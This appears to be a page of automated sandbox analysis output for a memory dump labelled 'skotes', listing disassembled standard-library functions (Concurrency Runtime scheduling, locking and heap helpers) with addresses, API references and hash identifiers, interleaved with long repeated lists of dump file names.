Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 60c7d22cc8a8110f987f9eed234453ffa1e1102f31522fd6c145705f279495db
Instruction ID: 59989b1567bfe9a4afc17943284e98536a8a1fb9ec341d518b3c473cb1197fde
Opcode Fuzzy Hash: 60c7d22cc8a8110f987f9eed234453ffa1e1102f31522fd6c145705f279495db
Instruction Fuzzy Hash: B9218274A00219AFDB10EF54D995AEDBBB6FF09310F1440A9E801A7351CB30AE11CFD4

Function 0062EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0062EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0062EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0062EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0062EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0062EF31

Strings

ib, xrefs: 0062EED0

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: ib
API String ID: 1182035702-3771325155
Opcode ID: 71700c85faff97f5eb7dc33dde518572655dcbf2d30e313dd13ddaf44758d726
Instruction ID: 1fd3b42cea6c0bc71d54961bf4fe1b65c9905016b9a280896fa0ce35b8b4508e
Opcode Fuzzy Hash: 71700c85faff97f5eb7dc33dde518572655dcbf2d30e313dd13ddaf44758d726
Instruction Fuzzy Hash: A621A370C00669CADF64DFA4E9556EEBBF2BF14320F20093DE051A62D1E7B24A44CF55

Function 006378E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00637903

Part of subcall function 00635CB8: __EH_prolog3_catch.LIBCMT ref: 00635CBF
Part of subcall function 00635CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00635CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0063792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00637936

Part of subcall function 00635CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00635D70
Part of subcall function 00635CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00635D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00637982
Concurrency::location::_Assign.LIBCMT ref: 006379A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006379AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006379BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006379ED

Part of subcall function 0063691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00636942
Part of subcall function 0063691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00636965

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: e82fc58dd533b576ec8b35d370557ce1fb60eeef8adc82f1ca5af694861b186e
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 1A312770B08255AACF66AB7848927FEB7B79F41300F0402ADD496EB382DB245D4AC3D1

Function 00654C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00654C98
__alloca_probe_16.LIBCMT ref: 00654D5E
__freea.LIBCMT ref: 00654DCA

Part of subcall function 0064B04B: RtlAllocateHeap.NTDLL(00000000,2054CAE1,?,?,0062D3FC,2054CAE1,?,00627A8B,?,?,?,?,?,?,00617465,?), ref: 0064B07E

__freea.LIBCMT ref: 00654DD3
__freea.LIBCMT ref: 00654DF6

Strings

Zd,md, xrefs: 00654C26

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Zd,md
API String ID: 1423051803-1215882471
Opcode ID: d9228ca542b1283b4c5d318539443c761b336e0e55fe7a0e24cff7c9772a1c75
Instruction ID: 1b69b29edc3b0e7b43dca8fa1399bcb9946ebba7984c18f3c76d3ca7081142dc
Opcode Fuzzy Hash: d9228ca542b1283b4c5d318539443c761b336e0e55fe7a0e24cff7c9772a1c75
Instruction Fuzzy Hash: A151E272600216AFDB259F64DC41EFB36BBDF8075AF2502A9FD0497240EF30DC958AA4

Function 0063DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0063DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0063DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0063DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0063DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0063DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0063DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0063DE74

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
